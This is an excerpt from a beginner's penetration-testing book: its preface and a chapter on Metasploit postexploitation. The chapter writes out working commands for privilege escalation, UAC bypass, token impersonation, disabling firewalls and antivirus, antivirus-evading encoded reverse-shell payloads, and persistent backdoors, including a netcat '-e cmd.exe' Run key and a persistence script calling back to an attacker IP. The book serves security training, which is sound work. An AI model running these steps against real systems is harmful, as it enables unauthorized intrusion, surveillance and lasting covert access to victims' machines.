Ethical hacking strikes all of us as a subject that requires a great deal of prerequisite knowledge about things like heavy duty software, languages that includes hordes of syntaxes, algorithms that could be generated by maestros only. Well that’s not the case, to some extent. This book introduces the steps required to complete a penetration test, or ethical hack. Requiring no prior hacking experience, the book explains how to utilize and interpret the results of modern day hacking tools that are required to complete a penetration test. Coverage includes Backtrack Linux, Google Reconnaissance, MetaGooFil, dig, Nmap, Nessus, Metasploit, Fast Track Autopwn, Netcat, and Hacker Defender rootkit. Simple explanations of how to use these tools and a four-step methodology for conducting a penetration test provide readers with a better understanding of offensive security.

Being an ethical hacker myself, I know how difficult it is for people who are new into hacking to excel at this skill without having any prior knowledge and understanding of how things work. Keeping this exigent thing in mind, I have provided those who are keen to learn ethical hacking with the best possible explanations in the most easy and understandable manner so that they will not only gain pleasure while reading, but they will have the urge to put into practice what have they learned from it.

The sole aim and objective of writing this book is to target the beginners who look for a complete guide to turn their dream of becoming an ethical hacker into a reality. This book elucidates the building blocks of ethical hacking that will help readers to develop an insight of the matter in hand. It will help them fathom what ethical hacking is all about and how one can actually run a penetration test with great success.

I have put in a lot of hard work to make this book a success. I remember spending hours and hours in front of my computer typing indefatigably, ignoring all the text messages of my friends when they asked me to come along and spend some time with them, which left me despondent, but now, when I see my book finally completed, it gives me immense pleasure that the efforts of a whole year have finally paid off.

This book came out as a result of my own experiences during my ethical hacking journey. Experiences that are worth sharing with all the passionate people out there.

It makes me elated to the core when I see my third book on the subject of hacking published, and I hope and pray that everyone likes it.

Best of luck to everyone out there.

Rafay Baloch
Chapter 9

Postexploitation

So we have successfully exploited the target and managed to gain access to it. Now we are into the postexploitation phase, which is the last phase of our penetration testing process. In this phase, we will learn to exploit our targets further, escalating privileges and penetrating the internal network even more. Meterpreter, which is the heart of this chapter, makes the postexploitation process much easier.

Meterpreter contains many built-in scripts written in ruby; we can also add and modify meterpreter scripts based on our requirements or just for exploration.

The goals of this chapter are as follows:

- Gaining situation awareness in Windows/Linux after target compromise
- Using Meterpreter scripts to perform reconnaissance
- Using various methods for escalating privileges
- Maintaining access
- Penetrating the internal network further

Acquiring Situation Awareness

Immediately after compromising a host, you need to gain information about where the host is located on the internal network and its functionality, which would include hostname, interfaces, routes, and services that our host is listening to. The more you are familiar with the operating system the more you can enumerate.

Enumerating a Windows Machine

Windows would be one of our common targets, since it is the most used operating system in the corporate environment. Since most of you are familiar with Windows, it would be easy to enumerate it. Our main goals would be to enumerate the network, mainly where the host is, find out what other hosts are reachable from our compromised host, the interfaces, and the services.

So let’s assume that we have already compromised a Windows host, say, by using our favorite ms08_067_netapi exploit, and opened up a meterpreter session. From within
our Meterpreter session, we can type the “shell” command, which will open our command prompt.

So here are some of the Windows shell commands to gain situation awareness:

- `ipconfig`—This command will list all the interfaces, the IP addresses, gateways, and the MAC addresses.
- `ipconfig/all`—This command will list additional information about the interfaces such as DNS servers.
- `ipconfig/displaydns`—This command will display the DNS cache. The screenshot shows the A record of the host rafayhackingarticles.net.

```
www.rafayhackingarticles.net
```

<table>
<thead>
<tr>
<th>Record Name</th>
<th>: <a href="http://www.rafayhackingarticles.net">www.rafayhackingarticles.net</a></th>
</tr>
</thead>
<tbody>
<tr>
<td>Record Type</td>
<td>: 1</td>
</tr>
<tr>
<td>Time To Live</td>
<td>: 1592</td>
</tr>
<tr>
<td>Data Length</td>
<td>: 4</td>
</tr>
<tr>
<td>Section</td>
<td>: Answer</td>
</tr>
<tr>
<td>A (Host) Record</td>
<td>: 216.239.32.21</td>
</tr>
</tbody>
</table>

- `arp –a`—You must be familiar with this command from our “Network Sniffing” chapter (Chapter 6). This command displays the Arp cache; using it you can figure out reachable systems from our hosts.
- `netstat –ano`—A very useful command, this can be used to list all the connections established from the current computer on a particular port.

```
TCP 0.0.0.0:17890 0.0.0.0:17890 LISTENING 4
TCP 0.0.0.0:20324 0.0.0.0:20324 LISTENING 1796
TCP 10.158.86.158:139 0.0.0.0:0 LISTENING 4
TCP 10.158.86.158:2869 10.158.85.62:1041 CLOSED 4
TCP 10.158.86.158:10243 10.158.86.158:3338 TIME_WAIT 4
TCP 10.158.86.158:49703 10.158.86.158:1042 ESTABLISHED 4
TCP 111.119.180.93:12345 10.158.86.158:4256 ESTABLISHED 4
TCP 111.119.180.93:22556 31.13.81.17:443 LISTENING 4
```

- `Route Print`—This will display the routing table of our computer; the `netstat –r` command can also be used for this.

```
IPv4 Route Table
```

<table>
<thead>
<tr>
<th>Active Routes:</th>
</tr>
</thead>
<tbody>
<tr>
<td>Network Destination</td>
</tr>
<tr>
<td>0.0.0.0</td>
</tr>
<tr>
<td>0.0.0.0</td>
</tr>
<tr>
<td>10.101.10.10</td>
</tr>
<tr>
<td>10.101.10.10</td>
</tr>
<tr>
<td>10.158.84.0</td>
</tr>
</tbody>
</table>

- `tasklist/svc`—This is a very useful command to enumerate all the services running on our target computer. From the following screenshot we can see that our victim is running AVG antivirus; this knowledge would be very helpful for us when we try to bypass the antivirus.

```
Atheros Beacon.exe  2488 Atheros Bt&Wlan Coex Agent
Atheros.BtSvc.exe  2764 AtherosSvc
qmgdsvc.exe  2892 avgwci
BonjourResponder.exe  2580 Bonjour Service
BrowserProtect.exe  3528 BrowserProtect
```
net start/net stop—The net start command will display all the running services on the target computer. We can stop a running service, for example, AVG antivirus, by using the net stop command. The syntax for net start/net stop commands are as follows:

```
net start <service to start>
net stop <service to stop>
```

netsh—netsh is a very useful command line utility for both network administrators and hackers/penetration testers. It can be used to gather information about firewall rules and so on. For example, we can turn off a firewall by issuing the following command:

```
netsh firewall set opmode disable
```

But we will require administrative privileges to disable the firewall. We will learn about privilege escalation later in the chapter.

---

**Enumerating Local Groups and Users**

The following two commands would be really helpful to enumerate local groups and users:

```
net user—This will list all local users such as guests and administrators.
```

```
net localgroup—This command will list all the local groups. For example, if we want to display all the local groups for administrators, we have to type “net localgroup administrators.”
```

```
net user \domain—This command would list users in a group.
```

```
net user \domain—This command would list all the users in a particular domain. It is very useful for identifying domain admins.
```

---

**Enumerating a Linux Machine**

Compared to Windows it’s less likely that you will come across a Linux host in your penetration tests. We have already learnt about the basics of operating Linux in our “Linux Basics” chapter.
(Chapter 2); so by now you must be familiar with some of the commands for enumerating a Linux-based host.

```plaintext
ifconfig—This is the same as the ipconfig command; it displays interfaces and associates IP/MAC addresses.
pwd—This lists the current ID.
ls—This lists the files in a particular directory.
find—This command is useful if you want to find a particular file from a particular path.
find <path> -name filename

who/last—This command displays the users currently logged in on a machine; the last command displays the login history.
whoami—This command tells your current privileges on a machine.
uname –a—This displays information about the kernel version, and could be very useful when selecting Linux-based privilege escalation exploits.
touch—This is used to create a 0 byte file. However, this will only work if you have write permissions on the current directory.
cat/etc/passwd—The /etc/passwd file can be used to enumerate local users on a system; the good thing about this file is that it is readable by any low-privilege user.

cat/etc/hosts/—The /etc/hosts file is used to perform domain to IP mapping.
cat/etc/group/—The /etc/group file is used to enumerate all the local groups.

cat/etc/resolv.conf—This file is used to locate the name servers on a local machine.
```
Enumerating with Meterpreter

Meterpreter can also be used to acquire situation awareness as it has a built-in capability to execute OS commands. I would recommend that you mostly use Metasploit for enumeration and data mining. Alternatively, you can switch between the meterpreter shell and the Windows shell. Let’s take a look at some of the commands in Meterpreter.

We type the `help` command to see all the available commands in meterpreter. The list would contain different types of commands to accomplish a specific task. Let’s talk about a few of them important for acquiring system awareness.

- **sysinfo command**—The `sysinfo` command provides useful information about our target.

```
meterpreter > sysinfo

Computer      : ROOT-BXZ
OS             : Windows .NET Server (Build 3790, Service Pack 2).
Architecture   : x86
System Language: en US
Meterpreter    : x86/win32
```

- **networking commands**—The networking commands are identical to what we would use on a Windows/Linux shell. These commands include `ipconfig`, `ifconfig`, `portfoward`, and `route`.

Identifying Processes

The following commands could be used to identify a process user IDS.

- **PS**—This is the same as the `tasklist` command; it will display all the processes.
- **getuid**—This will return the current uid of the user.
- **getpid**—This will print the current process id.

```
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > getpid
Current pid: 808
```

Interacting with the System

The commands for interacting with system using meterpreter are identical to what we use in linux on daily basis. However, in meterpreter these commands can also be used to interact with windows systems as well. Here are the basic commands:

- **cd**—Used to navigate between directories.
- **cat**—Used to output contents of a file on the screen.
- **search**—Used to search a particular file.
- **ls**—Similar as in Linux, this is used to list files of a directory.

User Interface Command

The user interface command can be used for various tasks; for example, you can record the victim’s mic, change the victim’s desktop, and take a screenshot of the current desktop to see what the
victim is doing. In your real-world penetration tests you can include screenshots of the desktop in your reports to help a nontechnical person understand your report better.

- **enumdesktops**—Prints information about all the running desktops.
- **screenshot**—Used to display screenshot of the current machine to see what our target is currently doing.
- **record_mic**—Records the microphone of the victim, in case he is using one.
- **webcam_list/webcam_snap**—Used to list available webcams, and the webcam snap software is used to take a snapshot of the victim.

Thus, we have listed some of the interesting commands from meterpreter to gain situation awareness right after compromising a target. We will start exploring other features of Meterpreter as soon as we get to the more advanced topics.

### Privilege Escalation

Once we have gained situation awareness, our next goal would be to escalate our privileges to the NT Authority SYSTEM, which has the highest privileges on a Windows machine, or at least we should try to get administrator-level privileges. Most of the commands that we use to further penetrate the network would require administrator-level privileges to run, but before that we will talk about making our meterpreter session stable so that it does not close.

### Maintaining Stability

The Meterpreter session often dies or gets killed, because the process that the meterpreter is running on closes. For example, let’s say we used the aurora exploit to compromise a victim running Internet Explorer 6. Whenever the victim closes his browser, our meterpreter session will die.

To mitigate this issue we would need to migrate to another stable process such as explorer.exe or svchost.exe. Luckily, we have a built-in script inside of Metasploit that can help us migrate to another process. For this, we can use a post module called migrate, which is located in the `post/windows/manage/migrate` directory. The command is as follows:

```
meterpreter> run post/windows/manage/migrate
```

If you would like to migrate to a specific process, first issue the “ps” command to check for PIDs.
We should note down the PID of the process that we would like to migrate to, for example, svchost.exe, which happens to be 856. We will execute the following command from Meterpreter:

```
meterpreter> Migrate 856
```

If the process has successfully migrated, the output would be something like the following:

```
meterpreter > getpid
Current pid: 1056
meterpreter > migrate 856
[*] Migrating to 856...
[*] Migration completed successfully.
```

### Escalating Privileges

Now that we have moved to a secure process and we are pretty much sure that our session won’t close during our privilege escalation process, we should attempt to escalate the privileges. The fastest way of escalating privileges with meterpreter is by using the “getsystem” command, which consists of many techniques. If one technique fails it will try another one and will report what technique succeeded in escalating the privileges.

We can type the command `getsystem -h` to see what type of techniques meterpreter uses to escalate the privileges.

```
meterpreter > getsystem -h
Usage: getsystem [options]

    Attempt to elevate your privilege to that of local system.

OPTIONS:

    -h  Help Banner.
    -t <opt>  The technique to use. (Default to 0)

0: All techniques available
1: Service Named Pipe Impersonation (In Memory/Admin)
2: Service - Named Pipe Impersonation (Dropper/Admin)
3: Service - Token Duplication (In Memory/Admin)
4: Exploit - KitTrapDD (In Memory/User)
```
You can use a specific technique by using the \(-t\) parameter followed by the technique number, but I would recommend that you pass the command without parameter so it can try all the techniques to save time.

```
meterpreter > getsystem
...got system (via technique 1).
```

**Bypassing User Access Control**

User access control (UAC) is a security feature that was introduced from Windows Vista and onward. The purpose of introducing UAC was to prevent malware from compromising the system. It accomplishes this by assigning normal user privileges to an application even if a user has administrator privileges. The application then has to be approved by an administrator for it to make changes to your computer.

The UAC can be configured easily depending upon the operating system you are using; all you need to do is search for the keyword “uac” using the search box. The default level of UAC is level 3, which is when it will notify when programs try to make changes to your computer.

Here is how the interface looks inside Windows 7:

![User Account Control Settings](image)

If we try to use the “getsystem” technique in any of the operating systems with UAC enabled, it will fail by default. Luckily, we already have a postexploitation module in Metasploit named “bypassuac”, which could help us bypass user access control to escalate our privileges.
So for the sake of demonstration we assume that you have a meterpreter session on a Windows 7 machine. From our current meterpreter session we will run the following command:

```
meterpreter> run post/windows/escalate/bypassuac
```

Now we will try to use the “getsystem” command again, and it will escalate our privileges. We will use “getuid” to check our privileges and the “sysinfo” command for meterpreter to display information about the current system.

```
meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : DUMMYLAND
OS : Windows 7 (Build 7600).
Architecture : x86
System Language : en US
Meterpreter : x86/win32
meterpreter >
```

**Impersonating the Token**

The concept of an access token is very similar to the concept of a cookie that is used to authenticate a user on a particular website. When a user is authenticated on a Windows machine an access token is assigned, which contains information about login details, user privileges, etc. The access tokens for Windows are of two types:

- **Primary token**—The primary token can be associated with a process and is created within the operating system using privileged methods.
- **Impersonation token**—An impersonation token can let a process act as another user; it can only be associated with threads. This is the type of token that we will be abusing for our privilege escalation process.

We can use a valid impersonation token of a specific user, say, administrator, to impersonate that user without any authentication. **Incognito** is a meterpreter module that can help us with this task. We can load it by using the following command:

```
use incognito
```
Next, we would run the “help” command to see all the options; this will load up the meterpreter help menu, but you will also see Incognito commands along with their description at the bottom:

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>add_group_user</td>
<td>Attempt to add a user to a global group with all tokens</td>
</tr>
<tr>
<td>add_localgroup_user</td>
<td>Attempt to add a user to a local group with all tokens</td>
</tr>
<tr>
<td>add_user</td>
<td>Attempt to add a user with all tokens</td>
</tr>
<tr>
<td>impersonate_token</td>
<td>Impersonate specified token</td>
</tr>
<tr>
<td>list_tokens</td>
<td>List tokens available under current user context</td>
</tr>
<tr>
<td>snarf_hashes</td>
<td>Snarf challenge/response hashes for every token</td>
</tr>
</tbody>
</table>

Before impersonating a token we need to take a look at the available tokens. To see all the available tokens, we use the `list_tokens -u` command followed by a –u parameter (which lists the tokens available under a current user context). With SYSTEM-level privileges you can see the list of all tokens, but with administrator or lower privileges you cannot.

```
list_tokens -u
```

As we can see, we have the administrator token available, which looks interesting; so let’s try to impersonate this token and escalate our privileges. The command for impersonating is as follows:

```
meterpreter> impersonate_token ABDUL-CB7402ACD\\Administrator
```

Note that we have added an additional backslash, “\” before “Administrator” for it to execute properly.


**Escalating Privileges on a Linux Machine**

The methods we talked about would only work on a Windows-based operating system, so you must be wondering why we didn’t discuss escalating privileges on a Linux box. The reason is that there are specific privilege escalation exploits for a Linux-based operating system depending upon the kernel version that our target is using. The getsystem inside meterpreter is less likely to work on them. I reserved this part for the web hacking chapter, where we will learn about server hacking.

**Maintaining Access**

So now we have managed to escalate our privileges to either administrator level or SYSTEM level. Our next step would be to make it easier for us to access the system any time we want.

So far, we have managed to maintain stability, but we haven’t managed to establish persistence. Whenever the target computer reboots, the process on which we have attached our meterpreter session will be closed and we would lose access. So one might ask, why not access the system by using the vulnerability we previously exploited? Well, yes, we can do that, but it is not the best approach, since over time applications get updated, patches are applied, and, hence, vulnerabilities are patched. What we want is an easier way to access our system, for which there are better approaches. Therefore we don’t want to go through all the hard work of compromising the target again.

We focus on two different strategies for maintaining access. They are discussed next.

**Installing a Backdoor**

Backdooring a system is one of the best approaches in my opinion since it’s stealthy most of the times. What we want to make sure with installing a backdoor is that our backdoor is persistent and that we are able to connect with our backdoor even when the system reboots. In order to accomplish this we would make changes to the registry.

**Cracking the Hashes to Gain Access to Other Services**

The second approach we would talk about is obtaining the hashes and then cracking them to gain access other services such as remote desktop, VNC, or telnet. This approach is not a very stealthy approach as the administrator may notice the changes you make. Considering that many users are allowed access to that particular service, this might work for us too.

**Backdoors**

Let’s talk about backdoors first. There are several backdoors that we would manually upload to our target machine and then make changes to the registry so that we can access it even when the computer reboots. But before installing a backdoor, we should make sure that we have turned
off the victim’s security features such as the firewall and antivirus. Another way around this is to simply encode our backdoor so that it evades the antivirus. Let’s see how to go about with these approaches.

**Disabling the Firewall**

The reason we want to disable the firewall is that we don’t want it to interrupt us while we perform our postexploitation process.

From our meterpreter shell, we would issue the “shell” command to launch Windows command prompt. From the Windows command prompt we issue the following command to turn off the firewall:

```
netsh firewall set opmode disable
```

**Killing the Antivirus**

The reason we want to disable the antivirus is that we don’t want it to identify/delete our backdoor; we want to remain undetected while conducting our penetration test. We can check for the installed antivirus by typing the “net start” command and “tasklist/svc” from the command prompt to check for the process the antivirus is running.

Output of “net start” command

```
These Windows services are started:
Acunetix WVS Scheduler v8
Adobe Acrobat Update Service
Adobe Flash Player Update Service
Andrea ST Filters Service
Apache2_4
Apple Mobile Device
ArcCapture
Atheros Bt&Wlan Coex Agent
AtherosSoc
Audio Service
Authentication Service
AUG WatchDog
AUGIDSAgent
```

Output of “tasklist/svc” command

```
<table>
<thead>
<tr>
<th>Image Name</th>
<th>PID</th>
<th>Services</th>
</tr>
</thead>
<tbody>
<tr>
<td>System Idle Process</td>
<td>0 N/A</td>
<td>System</td>
</tr>
<tr>
<td>System</td>
<td>4 N/A</td>
<td>smss.exe</td>
</tr>
<tr>
<td>AvgSrv.exe</td>
<td>464 N/A</td>
<td>AvgSrv.exe</td>
</tr>
</tbody>
</table>
```

Now we can use the “taskkill” command to kill a particular process or let meterpreter automate it for us. In meterpreter, we can find a script named “killav” that will automatically kill all the processes associated with an antivirus. Let’s view the contents of the script by using the “cat” command followed by the path of the script:

```
cat/opt/metasploit/msf3/scripts/meterpreter/killav.rb
```
From the output we can see that the script works by closing a process associated with an anti-virus. Though it covers lots of antiviruses, it is possible that the victim’s antivirus is not in the list; in that case you need to manually identify the antivirus process and then add that process name to the script for it to work. In this way you can also help the community improve the script.

To run this script, all we need to do is execute the following command from the meterpreter shell:

```
meterpreter> kill av
```

**Netcat**

Netcat is one of the oldest backdoors that exist. By uploading netcat to the victim’s computer we would open up a port on a victim on which it would listen to connections, and from our attacker machine we would simply connect with that port to obtain a command prompt. The netcat is located in the `/pentest/windows-binaries/tools/` directory in BackTrack.

**Command:**

```
meterpreter> upload/pentest/windows-binaries/tools/nc.exe C:\windows\system32
```

This command would upload netcat to the system32 directory.

```
meterpreter > upload /pentest/windows-binaries/tools/nc.exe c:\windows\system32
[*] uploading :/pentest/windows-binaries/tools/nc.exe -> c:\windows\system32
[*] uploaded :/pentest/windows-binaries/tools/nc.exe -> c:\windows\system32\nc.exe
```

Next, we need to set up netcat to load the backdoor on system boot, so we can connect it every time we want; to do that we would edit the following registry key:

```
meterpreter > reg setval -k HKLM\software\microsoft\windows\currentversion\run -d 'C:\windows\system32\nc.exe -Ldp 4444 -e cmd.exe' -v netcat
```

```
meterpreter > reg setval -k HKLM\software\microsoft\windows\currentversion\run -d 'C:\windows\system32\nc.exe -Ldp 4444 -e cmd.exe' -v netcat
```

```
meterpreter > reg setval -k HKLM\software\microsoft\windows\currentversion\run -d 'C:\windows\system32\nc.exe -Ldp 4444 -e cmd.exe' -v netcat
```

Successful set netcat.
```
meterpreter >
```
So the command basically sets the registry key to `netcat`, which on every reboot listens for connections on port 4444. We can now connect to our target machine from our attacker machine by netcat, and it will bring the command prompt.

Command:
```
nc -v <targetIP> <port>
```

**MSFPayload/MSFEncode**

Using netcat as a backdoor is not a very stealthy technique as most of the antiviruses as well as system administrators or users can easily recognize its presence. Also, we need a more powerful shell such as meterpreter as with netcat we would only be able to access the command prompt. To solve both of our problems we use a more powerful backdoor that can be generated with the help of msfpayload and msfencode. We use msfpayload to generate a backdoor and msfencode to encode the payload so it can bypass any antivirus restrictions.

**Generating a Backdoor with MSFPayload**

**msfpayload** is a command line tool used to generate shell codes; it has the capability to generate shell codes in multiple forms. For this particular demonstration I will use msfpayload to generate a backdoor in exe. Thus whenever the victim executes it, we would have a reverse connection.

The command `msfpayload -l` will display a list of all the payloads that we can use:
Since our target is a Windows operating system, we can use any of our Windows-based payloads. For the sake of this demonstration we use windows/meterpreter/reverse_tcp. Let’s view its options.

**Command:**
msfpayload windows/meterpreter/reverse_tcp O

The O parameter is used to list information about the module. As you can see we need LHOST and the lport. The default is set to 4444; in case we don’t define one it will automatically set it to 4444. We will also use an additional parameter “X” to output the payload as an executable.

**Command:**
msfpayload windows/meterpreter/reverse_tcp lhost = 192.168.75.144 lport = 4444 X >/root/Desktop/backdoor.exe

The executable would be generated on the desktop with the name “backdoor.exe”.

**MSFEncode**

Next we would use msfencode to encode our payload. We can see the list of encoders available on msfencode by issuing the following command.

root@bt> msfencode -l
We can use msfencode simultaneously with msfpayload by issuing the following command:

```
msfpayload windows/meterpreter/reverse_tcp LHOST = 192.168.75.144 LPORT = 4444 R | msfencode -e x86/shikata_ga_nai -t exe >/root/Desktop/backdoor.exe
```

The `–e` parameter is used to specify the type of encoding, which in this case is `shikata_ga_nai`; the `–t` parameter is used to define the type of format, which in this case would be `exe`. By default, msfencode would use a single iteration of the encoder; if you would like to use more iterations you can specify a `–i` parameter followed by the number of iterations.

**MSFVenom**

Msfvenom is a combination of both msfpayload and msfencode, which would make it easier for us to generate a payload and encode at the same time. We can view the options by typing the following command:

```
msfvenom -h
```

```
Usage: /opt/metasploit/msf3/msfvenom [options] <var=val>
```

Options:

- `-p, --payload [payload]` Payload to use. Specify a `-' or stdin to use custom payloads
- `-l, --list [module_type]` List a module type example: payloads, encoders, nops, all
- `-n, --nopsled [length]` Prepend a nopsled of [length] size on to the payload
- `-f, --format [format]` Output format (use `--help-formats` for a list)
- `-e, --encoder [encoder]` The encoder to use
- `-a, --arch [architecture]` The architecture to use
- `-p, --platform [platform]` The platform of the payload
- `-s, --space [length]` The maximum size of the resulting payload
- `-b, --bad-chars [list]` The list of characters to avoid example: `'/x00\xff'`

```
root@bt:~# msfvenom -h
```

```
Usage: /opt/metasploit/msf3/msfvenom [options] <var=val>
```

Options:

- `-p, --payload [payload]` Payload to use. Specify a `-' or stdin to use custom payloads
- `-l, --list [module_type]` List a module type example: payloads, encoders, nops, all
- `-n, --nopsled [length]` Prepend a nopsled of [length] size on to the payload
- `-f, --format [format]` Output format (use `--help-formats` for a list)
- `-e, --encoder [encoder]` The encoder to use
- `-a, --arch [architecture]` The architecture to use
- `-p, --platform [platform]` The platform of the payload
- `-s, --space [length]` The maximum size of the resulting payload
- `-b, --bad-chars [list]` The list of characters to avoid example: `'/x00\xff'`

```
root@bt:~# msfvenom -h
```

```
Usage: /opt/metasploit/msf3/msfvenom [options] <var=val>
```

Options:

- `-p, --payload [payload]` Payload to use. Specify a `-' or stdin to use custom payloads
- `-l, --list [module_type]` List a module type example: payloads, encoders, nops, all
- `-n, --nopsled [length]` Prepend a nopsled of [length] size on to the payload
- `-f, --format [format]` Output format (use `--help-formats` for a list)
- `-e, --encoder [encoder]` The encoder to use
- `-a, --arch [architecture]` The architecture to use
- `-p, --platform [platform]` The platform of the payload
- `-s, --space [length]` The maximum size of the resulting payload
- `-b, --bad-chars [list]` The list of characters to avoid example: `'/x00\xff'`
To generate an encoded executable, we will use the following command:

```
root@bt:~# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga
nai -i 5 LHOST = 192.168.75.144 LPORT = 4444 -f exe >/root/Desktop/
backdoor.exe
```

We can see that our backdoor succeeded with five iterations. Now it’s time to upload our backdoor to the target machine and make it persistent just like we did with netcat. We use the same commands to accomplish our goal.

**Command:**

```bash
upload/root/Desktop/backdoor.exe C:\\Windows\\System32
```

Next we make our backdoor persistent by making changes to the registry.

```bash
set winreg > reg setval -k HKLM\software\microsoft\windows\currentversion\\run -d 'C:\Windows\system32\backdoor.exe' -v backdoor
```

Once our registry value has been set, as soon as Windows reboots, our backdoor starts making connections to the lhost we provided. So in order to receive the connection, we need to set up a handler.

We can set up a handler by issuing the following command from the Metasploit console:

```bash
use exploit/multi/handler
```

Next we need to define LHOST and LPORT, which we defined while we created the backdoor.

As soon as Windows reboots, a meterpreter session will be opened again:

```
[*] Started reverse handler on 192.168.75.144:4444
[*] Starting the payload handler...
```

**Persistence**

The Metasploit framework has two different types of backdoors built into it, namely, Metsvc and persistence. In this section, we will talk about persistence, which is a built-in meterpreter...
script that automates the backdooring process; it will automate the process of uploading and persistency. We can view its options by typing the following command from the meterpreter console:

```
meterpreter>Run persistence -h
```

To execute this script we use the following command:

```
run persistence -X -i 5 -p 4444 -r 192.168.75.144
```

The command would listen for all the connections on port 4444 on our local host 192.168.75.144. The argument -X instructs the backdoor to automatically start as soon as the system boots. The -i parameter indicates the number of iterations that the payload would be encoded, which in this case is 5, since the script also does the encoding for us. The default encoder used is shikata_ga_nai.

```
[*] Running Persistence Script
[*] Resource file for cleanup created at /root/.msf4/logs/persistence/ABDUL-CB7402ACD_20130729.4012/ABDUL
[*] Creating Payload=Windows/meterpreter/reverse_tcp LHOST=192.168.75.144 LPORT=4444
[*] Persistent agent script is 609644 bytes long
[*] Persistent Script written to C:\DOCUME~1\rafay\LOCALS~1\Temp\nhhzuuyySpwFn.vbs
[*] Executing script C:\DOCUME~1\rafay\LOCALS~1\Temp\nhhzuuyySpwFn.vbs
[*] Agent executed with PID 1528
[*] Installing into autourn as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\RrpqNFBwrqpYbOu
[*] Installed into autourn as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\RrpqNFBwrqpYbOu
```

From the output we can see that the script automatically creates a payload “Windows/meterpreter/reverse_tcp” and sets the registry value. As the victim turns his system off, you would notice that our meterpreter session has died, and as soon as he reboots his computer we will have our meterpreter session back due to our persistence script.

So till now you have learned about various backdoors and how they can be made persistent. Now we move deeper into the maintaining access phase of postexploitation, and we will discuss about another approach that could be used to maintain access on our target machine. The approach involves getting access to services such as telnet, VNC, and RDP, though it’s not the stealthiest approach as the network administrator might notice it, but sometimes it can get past them and is great for a proof of concept in your penetration testing reports.
RDP (Remote Desktop) is one of the services that we would encounter most of the times; let's discuss some of the scenarios you might encounter:

1. It requires a password.
2. Remote desktop access is disabled and you need to re-enable it.
3. Our current user is not allowed to access the remote desktop.

So the first step requires us to obtain hashes. Before getting into how to obtain hashes, let’s see what they are.

**What Is a Hash?**

Passwords are stored as either a plain text or their hash values inside a filesystem or a database. A hash is basically a one-way cryptographic algorithm; the thing about a hash is that it’s irreversible, which means that once a plain text password is sent across a hashing algorithm it’s not possible for it to return to its original state since the process is irreversible. The only way of doing it is by guessing the word and running it through the hashing algorithm and then manually comparing it with our original hash. This is the process that is used to crack a password hash.

**Hashing Algorithms**

There are different types of hashing algorithms; most popular among them are MD5 and SHA-1. By looking at the hashes we cannot exactly figure out what type of hashing algorithm is being used, but by comparing the length we can almost make an exact guess about what types of hashing algorithms are being used. For example, the MD5 hash would have no more than 32 characters, the SHA-1 41. So based upon the length, we can guess the hashing algorithms. The Hash Analyzer is a very popular tool that can help you identify the hash type. Based upon its length it will make a guess for all the hashes that are of the same length.
Windows Hashing Methods

Some of the hashing protocols for older versions of Windows were vulnerable by design and were very easy to crack; we will discuss some of the flaws in Windows hashing methods in brief.

LAN Manager (LM)

Windows XP and prior versions of Microsoft Windows use the LAN Manager protocol. The protocol is based upon a well-known block cipher (DES). However, due to the way it is designed it is fairly easy for an attacker to crack the hashes. Let’s see how the hashing algorithm works, including its weaknesses.

1. The password is converted to UPPER CASE, which is a good thing for password crackers, since it would reduce the total number of combinations.
2. Password hashes are not salted, which means that if you are able to crack hashes for one computer and someone uses the same password hash on a different computer, you can easily figure out that it’s the same password.
3. If the password isn’t 14 characters long, it’s then padded with NULL characters.
4. Next, the password is split into two 7-character parts, which again is good from a password cracking perspective as 7-character passwords are easier to crack than 14-character passwords.
5. Each seven-byte hash is used as the key to encrypt “KGS!@#$%” with the DES (Data encryption standard) algorithm.
6. Both of the strings are then concatenated to form a 16-byte LM hash.

NTLM/NTLM2

The NT LAN MANAGER protocol is used by operating systems such as Vista and above. It’s more secure than the LM protocol. Unlike the LM protocol, it does not split up the passwords, making it difficult for an attacker to crack them. The password stored is converted to uppercase, which can still aid in password cracking. It also provides backward compatibility with the LAN Manager. There are also some known attacks, such as “credential forwarding,” that can be used to gain access to other machines on the network using the same password hashes.

NTLM2 is much more secure than NTLMV1, because it uses the 128-byte key, making it harder for attackers to crack the hashes.

Kerberos

Kerberos is mostly used in active directory environments. It is Microsoft’s default protocol for active directory environments, but in some situations where the domain controller is not available, NTLM takes charge.

Where Are LM/NTLM Hashes Located?

The LM/NTLM hashes are stored inside of the SAM file. The SAM file is located in the C:\Windows\SYSTEM32\CONFIG directory. While the system is running it’s not possible for us to copy or open a SAM file due to the protection that Microsoft has implemented. However, there are various techniques/tools that can be used to dump the hashes from a SAM file.